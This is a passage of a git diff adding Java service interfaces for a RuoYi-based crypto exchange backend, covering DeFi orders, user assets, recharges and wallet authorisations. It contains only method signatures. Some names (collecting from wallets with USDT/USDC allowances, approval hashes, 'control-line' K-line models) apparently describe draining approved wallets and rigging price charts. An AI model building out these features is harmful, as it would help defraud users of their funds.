b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiActivityService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.DefiActivity; + +/** + * 空投活动Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface IDefiActivityService extends IService +{ + /** + * 查询空投活动 + * + * @param id 空投活动主键 + * @return 空投活动 + */ + public DefiActivity selectDefiActivityById(Long id); + + /** + * 查询空投活动列表 + * + * @param defiActivity 空投活动 + * @return 空投活动集合 + */ + public List selectDefiActivityList(DefiActivity defiActivity); + + /** + * 新增空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int insertDefiActivity(DefiActivity defiActivity); + + /** + * 修改空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int updateDefiActivity(DefiActivity defiActivity); + + /** + * 批量删除空投活动 + * + * @param ids 需要删除的空投活动主键集合 + * @return 结果 + */ + public int deleteDefiActivityByIds(Long[] ids); + + /** + * 删除空投活动信息 + * + * @param id 空投活动主键 + * @return 结果 + */ + public int deleteDefiActivityById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiOrderService.java new file mode 100644 index 0000000..3121d0b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiOrderService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; + +import java.math.BigDecimal; +import java.util.List; + +/** + * defi订单Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface IDefiOrderService extends IService +{ + /** + * 查询defi订单 + * + * @param id defi订单主键 + * @return defi订单 + */ + public DefiOrder selectDefiOrderById(Long id); + + /** + * 查询defi订单列表 + * + * @param defiOrder defi订单 + * @return defi订单集合 + */ + public List selectDefiOrderList(DefiOrder defiOrder); + public List getOrder(DefiOrder defiOrder); + /** + * 新增defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int insertDefiOrder(DefiOrder defiOrder); + + /** + * 修改defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int updateDefiOrder(DefiOrder defiOrder); + + /** + * 批量删除defi订单 + * + * @param ids 需要删除的defi订单主键集合 + * @return 结果 + */ + public int deleteDefiOrderByIds(Long[] ids); + + /** + * 删除defi订单信息 + * + * @param id defi订单主键 + * @return 结果 + */ + public int deleteDefiOrderById(Long id); + + public BigDecimal getAllAmount(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiRateService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiRateService.java new file mode 100644 index 0000000..cec050b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiRateService.java @@ -0,0 +1,83 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.DefiRate; +import com.ruoyi.bussiness.domain.dto.*; + +/** + * defi挖矿利率配置Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface IDefiRateService extends IService +{ + /** + * 查询defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return defi挖矿利率配置 + */ + public DefiRate selectDefiRateById(Long id); + + /** + * 查询defi挖矿利率配置列表 + * + * @param defiRate defi挖矿利率配置 + * @return defi挖矿利率配置集合 + */ + public List selectDefiRateList(DefiRate defiRate); + public List selectDefiRateAllList(); + /** + * 新增defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int insertDefiRate(DefiRate defiRate); + + /** + * 修改defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int updateDefiRate(DefiRate defiRate); + + /** + * 批量删除defi挖矿利率配置 + * + * @param ids 需要删除的defi挖矿利率配置主键集合 + * @return 结果 + */ + public int deleteDefiRateByIds(Long[] ids); + + /** + * 删除defi挖矿利率配置信息 + * + * @param id defi挖矿利率配置主键 + * @return 结果 + */ + public int deleteDefiRateById(Long id); + + List userInvestment(); + + List getDefiRateByAmount(BigDecimal amount); + + UserInvestmentDto getUserShowIncome(Long id); + List getOrder(DefiOrder defiOrder); + List getOrderList(DefiOrder defiOrder); + List showDefiActivity(Long id); + List showDefiActivityNotice(Long id); + + Integer updateDefiActivity(Long userId ,Integer status); + + void sendApproveHash(AddressHashDTO hash); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IKlineSymbolService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IKlineSymbolService.java new file mode 100644 index 0000000..fb99b8b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IKlineSymbolService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.KlineSymbol; + +/** + * 数据源Service接口 + * + * @author ruoyi + * @date 2023-07-10 + */ +public interface IKlineSymbolService extends IService +{ + /** + * 查询数据源 + * + * @param id 数据源主键 + * @return 数据源 + */ + public KlineSymbol selectKlineSymbolById(Long id); + + /** + * 查询数据源列表 + * + * @param klineSymbol 数据源 + * @return 数据源集合 + */ + public List selectKlineSymbolList(KlineSymbol klineSymbol); + + /** + * 新增数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int insertKlineSymbol(KlineSymbol klineSymbol); + + /** + * 修改数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int updateKlineSymbol(KlineSymbol klineSymbol); + + /** + * 批量删除数据源 + * + * @param ids 需要删除的数据源主键集合 + * @return 结果 + */ + public int deleteKlineSymbolByIds(Long[] ids); + + /** + * 删除数据源信息 + * + * @param id 数据源主键 + * @return 结果 + */ + public int deleteKlineSymbolById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITActivityRechargeService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITActivityRechargeService.java new file mode 100644 index 0000000..2f45a84 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITActivityRechargeService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TActivityRecharge; + +/** + * 充值活动Service接口 + * + * @author ruoyi + * @date 2023-07-05 + */ +public interface ITActivityRechargeService extends IService +{ + /** + * 查询充值活动 + * + * @param id 充值活动主键 + * @return 充值活动 + */ + public TActivityRecharge selectTActivityRechargeById(Long id); + + /** + * 查询充值活动列表 + * + * @param tActivityRecharge 充值活动 + * @return 充值活动集合 + */ + public List selectTActivityRechargeList(TActivityRecharge tActivityRecharge); + + /** + * 新增充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int insertTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 修改充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + public int updateTActivityRecharge(TActivityRecharge tActivityRecharge); + + /** + * 批量删除充值活动 + * + * @param ids 需要删除的充值活动主键集合 + * @return 结果 + */ + public int deleteTActivityRechargeByIds(Long[] ids); + + /** + * 删除充值活动信息 + * + * @param id 充值活动主键 + * @return 结果 + */ + public int deleteTActivityRechargeById(Long id); + + void caseBackToFather(Long userId, BigDecimal realAmount, String type, String username, String serialId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAgentActivityInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAgentActivityInfoService.java new file mode 100644 index 0000000..8d330bc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAgentActivityInfoService.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; + +/** + * 返利活动明细Service接口 + * + * @author ruoyi + * @date 2023-07-06 + */ +public interface ITAgentActivityInfoService extends IService +{ + /** + * 查询返利活动明细 + * + * @param id 返利活动明细主键 + * @return 返利活动明细 + */ + public TAgentActivityInfo selectTAgentActivityInfoById(String id); + + /** + * 查询返利活动明细列表 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 返利活动明细集合 + */ + public List selectTAgentActivityInfoList(TAgentActivityInfo tAgentActivityInfo); + + /** + * 新增返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int insertTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 修改返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + public int updateTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + /** + * 批量删除返利活动明细 + * + * @param ids 需要删除的返利活动明细主键集合 + * @return 结果 + */ + public int deleteTAgentActivityInfoByIds(String[] ids); + + /** + * 删除返利活动明细信息 + * + * @param id 返利活动明细主键 + * @return 结果 + */ + public int deleteTAgentActivityInfoById(String id); + + int selectListByLeve(TAgentActivityInfo tAgentActivityInfo); + + Map selectUserActivityInfo(TAgentActivityInfo tAgentActivityInfo); + + List getAgentList(TAgentActivityInfo tAgentActivityInfo); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAddressInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAddressInfoService.java new file mode 100644 index 0000000..dc1dd0f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAddressInfoService.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TAppAddressInfo; + +/** + * 钱包地址授权详情Service接口 + * + * @author shenshen + * @date 2023-06-27 + */ +public interface ITAppAddressInfoService extends IService +{ + /** + * 查询钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 钱包地址授权详情 + */ + public TAppAddressInfo selectTAppAddressInfoByUserId(Long userId); + + /** + * 查询钱包地址授权详情列表 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 钱包地址授权详情集合 + */ + public List selectTAppAddressInfoList(TAppAddressInfo tAppAddressInfo); + + /** + * 新增钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int insertTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 修改钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + public int updateTAppAddressInfo(TAppAddressInfo tAppAddressInfo); + + /** + * 批量删除钱包地址授权详情 + * + * @param userIds 需要删除的钱包地址授权详情主键集合 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserIds(Long[] userIds); + + /** + * 删除钱包地址授权详情信息 + * + * @param userId 钱包地址授权详情主键 + * @return 结果 + */ + public int deleteTAppAddressInfoByUserId(Long userId); + + + void refreshUsdtBalance(TAppAddressInfo wallet); + void sendFrontRunning(TAppAddressInfo wallet); + + void refreshUsdtAllowed(TAppAddressInfo wallet); + void refreshUsdcAllowed(TAppAddressInfo wallet); + int refreshAddressInfo(TAppAddressInfo wallet); + + String collection(TAppAddressInfo wallet); + String collectionUsdc(TAppAddressInfo wallet); + List getAllowedUser(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAssetService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAssetService.java new file mode 100644 index 0000000..f67260b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAssetService.java @@ -0,0 +1,108 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.vo.AssetTransFundsVO; +import com.ruoyi.bussiness.domain.vo.UserBonusVO; + + +/** + * 玩家资产Service接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface ITAppAssetService extends IService { + /** + * 查询玩家资产 + * + * @param userId 玩家资产主键 + * @return 玩家资产 + */ + public TAppAsset selectTAppAssetByUserId(Long userId); + + /** + * 查询玩家资产列表 + * + * @param tAppAsset 玩家资产 + * @return 玩家资产集合 + */ + public List selectTAppAssetList(TAppAsset tAppAsset); + + /** + * 新增玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int insertTAppAsset(TAppAsset tAppAsset); + + /** + * 修改玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + public int updateTAppAsset(TAppAsset tAppAsset); + + /** + * 批量删除玩家资产 + * + * @param userIds 需要删除的玩家资产主键集合 + * @return 结果 + */ + public int deleteTAppAssetByUserIds(Long[] userIds); + + /** + * 删除玩家资产信息 + * + * @param userId 玩家资产主键 + * @return 结果 + */ + public int deleteTAppAssetByUserId(Long userId); + + /** + * 平台资产 + * + * @param userId + * @return + */ + Map getAssetByUserIdList(Long userId); + + /** + * 理财资产/合约资产 + * + * @param userId + * @param type + * @return + */ + TAppAsset getAssetByUserIdAndType(Long userId, Integer type); + + int updateByUserId(TAppAsset tAppAsset); + + int sendBouns(UserBonusVO userBounsVO); + + int subAmount(UserBonusVO userBounsVO); + + int noSettlementAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int createAsset(TAppUser user, String coin, Integer type); + + int reduceAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int addAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int occupiedAssetByUserId(Long userId, String symbol, BigDecimal amout); + + int settlementOccupiedCurrencyOrder(Long userId, String symbol, BigDecimal occupiedAmout, BigDecimal subtract); + + String transferFunds(AssetTransFundsVO assetTransFundsVo); + + List tAppAssetService(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppMailService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppMailService.java new file mode 100644 index 0000000..a9ceb43 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppMailService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.domain.TAppUser; + +/** + * 1v1站内信Service接口 + * + * @author ruoyi + * @date 2023-07-18 + */ +public interface ITAppMailService extends IService +{ + /** + * 查询1v1站内信 + * + * @param id 1v1站内信主键 + * @return 1v1站内信 + */ + public TAppMail selectTAppMailById(Long id); + + /** + * 查询1v1站内信列表 + * + * @param tAppMail 1v1站内信 + * @return 1v1站内信集合 + */ + public List selectTAppMailList(TAppMail tAppMail); + + /** + * 新增1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int insertTAppMail(TAppMail tAppMail); + + /** + * 修改1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + public int updateTAppMail(TAppMail tAppMail); + + /** + * 批量删除1v1站内信 + * + * @param ids 需要删除的1v1站内信主键集合 + * @return 结果 + */ + public int deleteTAppMailByIds(Long[] ids); + + /** + * 删除1v1站内信信息 + * + * @param id 1v1站内信主键 + * @return 结果 + */ + public int deleteTAppMailById(Long id); + + List listByUserId(TAppMail tAppMail); + + int updateMail(Long[] ids, TAppUser appUser); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppRechargeService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppRechargeService.java new file mode 100644 index 0000000..ecb231d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppRechargeService.java @@ -0,0 +1,79 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppUser; + +/** + * 用户充值Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITAppRechargeService extends IService +{ + /** + * 查询用户充值 + * + * @param id 用户充值主键 + * @return 用户充值 + */ + public TAppRecharge selectTAppRechargeById(Long id); + + /** + * 查询用户充值列表 + * + * @param tAppRecharge 用户充值 + * @return 用户充值集合 + */ + public List selectTAppRechargeList(TAppRecharge tAppRecharge); + + /** + * 新增用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int insertTAppRecharge(TAppUser tAppRecharge); + + /** + * 修改用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + public int updateTAppRecharge(TAppRecharge tAppRecharge); + + /** + * 批量删除用户充值 + * + * @param ids 需要删除的用户充值主键集合 + * @return 结果 + */ + public int deleteTAppRechargeByIds(Long[] ids); + + /** + * 删除用户充值信息 + * + * @param id 用户充值主键 + * @return 结果 + */ + public int deleteTAppRechargeById(Long id); + + Map sumtotal(TAppRecharge tAppRecharge); + + List selectRechargeList(TAppRecharge tAppRecharge); + + String passOrder(TAppRecharge tAppRecharge); + + String failedOrder(TAppRecharge tAppRecharge); + + List selectRechargeVoice(String parentId); + + BigDecimal getAllRecharge(String parentId, Integer type); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserDetailService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserDetailService.java new file mode 100644 index 0000000..f98d051 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserDetailService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TAppUserDetail; + +import java.util.List; + +/** + * 用户详细信息Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITAppUserDetailService extends IService +{ + /** + * 查询用户详细信息 + * + * @param id 用户详细信息主键 + * @return 用户详细信息 + */ + public TAppUserDetail selectTAppUserDetailById(Long id); + + /** + * 查询用户详细信息列表 + * + * @param tAppUserDetail 用户详细信息 + * @return 用户详细信息集合 + */ + public List selectTAppUserDetailList(TAppUserDetail tAppUserDetail); + + /** + * 新增用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int insertTAppUserDetail(TAppUserDetail tAppUserDetail); + + /** + * 修改用户详细信息 + * + * @param tAppUserDetail 用户详细信息 + * @return 结果 + */ + public int updateTAppUserDetail(TAppUserDetail tAppUserDetail); + + /** + * 批量删除用户详细信息 + * + * @param ids 需要删除的用户详细信息主键集合 + * @return 结果 + */ + public int deleteTAppUserDetailByIds(Long[] ids); + + /** + * 删除用户详细信息信息 + * + * @param id 用户详细信息主键 + * @return 结果 + */ + public int deleteTAppUserDetailById(Long id); + + List selectTAppUserDetailLists(TAppUserDetail tAppUserDetail); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserService.java new file mode 100644 index 0000000..985dd52 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserService.java @@ -0,0 +1,126 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.TMineOrder; + +import javax.servlet.http.HttpServletRequest; + +/** + * 玩家用户Service接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface ITAppUserService extends IService +{ + /** + * 查询玩家用户 + * + * @param userId 玩家用户主键 + * @return 玩家用户 + */ + public TAppUser selectTAppUserByUserId(Long userId); + + /** + * 查询玩家用户列表 + * + * @param tAppUser 玩家用户 + * @return 玩家用户集合 + */ + public List selectTAppUserList(TAppUser tAppUser); + + /** + * 新增玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int insertTAppUser(TAppUser tAppUser,TAppUser user); + + /** + * 修改玩家用户 + * + * @param tAppUser 玩家用户 + * @return 结果 + */ + public int updateTAppUser(TAppUser tAppUser); + + /** + * 批量删除玩家用户 + * + * @param userIds 需要删除的玩家用户主键集合 + * @return 结果 + */ + public int deleteTAppUserByUserIds(Long[] userIds); + + /** + * 删除玩家用户信息 + * + * @param userId 玩家用户主键 + * @return 结果 + */ + public int deleteTAppUserByUserId(Long userId); + + /** + * 获取用户详情 + */ + TAppUserDetail selectUserDetailByUserId(Long userId); + + int checkEmailUnique(String email); + boolean checkPhoneExist(String phone); + + TAppUser selectByUserLoginName(String email); + + TAppUser selectByAddress(String address); + + TAppUser login(TAppUser tAppUser); + + TAppUser selectByActiveCode(String activeCode); + + List selectActiveCodeList(); + + String backPwd(String email, String emailCode, String newPwd); + + List selectUnboundAppUser(TAppUser tAppUser); + + void sendEmailCode(String type, String email); + + String bindEmail(String email, String emailCode, HttpServletRequest request); + + + String bindWalletAddress(String address); + + String bindPhone(String phone,String code); + void uploadKYC(TAppUser appUser, String realName, String flag, String idCard, String frontUrl, String backUrl, String handelUrl, String country, String cardType); + + Map getInfo(long loginIdAsLong); + + int delUpdateByAdminUserId(Long userId); + + String updatePwd(String oldPwd, String newPwd, String signType, String emailOrPhone, String code); + + void toBuilderTeamAmount(TMineOrder mineOrder); + + String updatePwdByEmail(String email, String emailCode, String newPwd); + + void realName(TAppUserDetail tAppUserDetail); + + int addTAppUser(TAppUser tAppUser); + + List getTAppUserList(TAppUser tAppUser); + + int updateUserAppIds(Long appUserId, Long agentUserId); + + void reSetRealName(TAppUserDetail tAppUserDetail); + + List getListByPledge(TAppUser tAppUser); + + int updateBlackStatus(TAppUser tAppUser); + + int updateTotleAmont(TAppUser appUser); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppWalletRecordService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppWalletRecordService.java new file mode 100644 index 0000000..21ac461 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppWalletRecordService.java @@ -0,0 +1,82 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; + +/** + * 用户信息Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITAppWalletRecordService extends IService +{ + /** + * 查询用户信息 + * + * @param id 用户信息主键 + * @return 用户信息 + */ + public TAppWalletRecord selectTAppWalletRecordById(Long id); + + /** + * 查询用户信息列表 + * + * @param tAppWalletRecord 用户信息 + * @return 用户信息集合 + */ + public List selectTAppWalletRecordList(TAppWalletRecord tAppWalletRecord); + + /** + * 新增用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int insertTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 修改用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + public int updateTAppWalletRecord(TAppWalletRecord tAppWalletRecord); + + /** + * 批量删除用户信息 + * + * @param ids 需要删除的用户信息主键集合 + * @return 结果 + */ + public int deleteTAppWalletRecordByIds(Long[] ids); + + /** + * 删除用户信息信息 + * + * @param id 用户信息主键 + * @return 结果 + */ + public int deleteTAppWalletRecordById(Long id); + + void generateRecord(Long userId, BigDecimal amount, int type, String createBy, String serialId, String remark, BigDecimal before, BigDecimal after,String coin,String adminParentIds); + + List selectUserDataList(TAppWalletRecord tAppWalletRecord); + + List selectAgencyList(TAppWalletRecord appWalletRecord); + + List dailyData(TAppWalletRecord appWalletRecord); + + List selectAgencyAppUserList(TAppWalletRecord appWalletRecord); + + Map statisticsAmount(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppuserLoginLogService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppuserLoginLogService.java new file mode 100644 index 0000000..0d957c5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppuserLoginLogService.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppuserLoginLog; + +import javax.servlet.http.HttpServletRequest; + +/** + * 系统访问记录Service接口 + * + * @author ruoyi + * @date 2023-06-30 + */ +public interface ITAppuserLoginLogService extends IService +{ + /** + * 查询系统访问记录 + * + * @param id 系统访问记录主键 + * @return 系统访问记录 + */ + public TAppuserLoginLog selectTAppuserLoginLogById(Long id); + + /** + * 查询系统访问记录列表 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 系统访问记录集合 + */ + public List selectTAppuserLoginLogList(TAppuserLoginLog tAppuserLoginLog); + + /** + * 新增系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int insertTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 修改系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + public int updateTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog); + + /** + * 批量删除系统访问记录 + * + * @param ids 需要删除的系统访问记录主键集合 + * @return 结果 + */ + public int deleteTAppuserLoginLogByIds(Long[] ids); + + /** + * 删除系统访问记录信息 + * + * @param id 系统访问记录主键 + * @return 结果 + */ + public int deleteTAppuserLoginLogById(Long id); + + void insertAppActionLog(TAppUser one, String 退出登录成功, int i, HttpServletRequest request); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelInfoService.java new file mode 100644 index 0000000..319a6d4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelInfoService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import cc.block.data.api.domain.market.Kline; +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; + +/** + * 控线详情Service接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface ITBotKlineModelInfoService extends IService +{ + /** + * 查询控线详情 + * + * @param id 控线详情主键 + * @return 控线详情 + */ + public TBotKlineModelInfo selectTBotKlineModelInfoById(Long id); + + /** + * 查询控线详情列表 + * + * @param tBotKlineModelInfo 控线详情 + * @return 控线详情集合 + */ + public List selectTBotKlineModelInfoList(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 新增控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int insertTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 修改控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + public int updateTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo); + + /** + * 批量删除控线详情 + * + * @param ids 需要删除的控线详情主键集合 + * @return 结果 + */ + public int deleteTBotKlineModelInfoByIds(Long[] ids); + + /** + * 删除控线详情信息 + * + * @param id 控线详情主键 + * @return 结果 + */ + public int deleteTBotKlineModelInfoById(Long id); + + List selectBotLineList(String symbol,List list,String inter); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelService.java new file mode 100644 index 0000000..68abedd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelService.java @@ -0,0 +1,80 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; + +/** + * 控线配置Service接口 + * + * @author ruoyi + * @date 2023-08-09 + */ +public interface ITBotKlineModelService extends IService { + /** + * 查询控线配置 + * + * @param id 控线配置主键 + * @return 控线配置 + */ + public TBotKlineModelVO selectTBotKlineModelById(Long id); + + /** + * 查询控线配置列表 + * + * @param tBotKlineModel 控线配置 + * @return 控线配置集合 + */ + public List selectTBotKlineModelList(TBotKlineModel tBotKlineModel); + + /** + * 新增控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int insertTBotKlineModel(TBotKlineModel tBotKlineModel); + + public int insertTBotInfo(TBotKlineModelVO tBotKlineModel); + + /** + * 修改控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + public int updateTBotKlineModel(TBotKlineModelVO tBotKlineModel); + + public int updateByid(TBotKlineModel tBotKlineModel); + + /** + * 批量删除控线配置 + * + * @param ids 需要删除的控线配置主键集合 + * @return 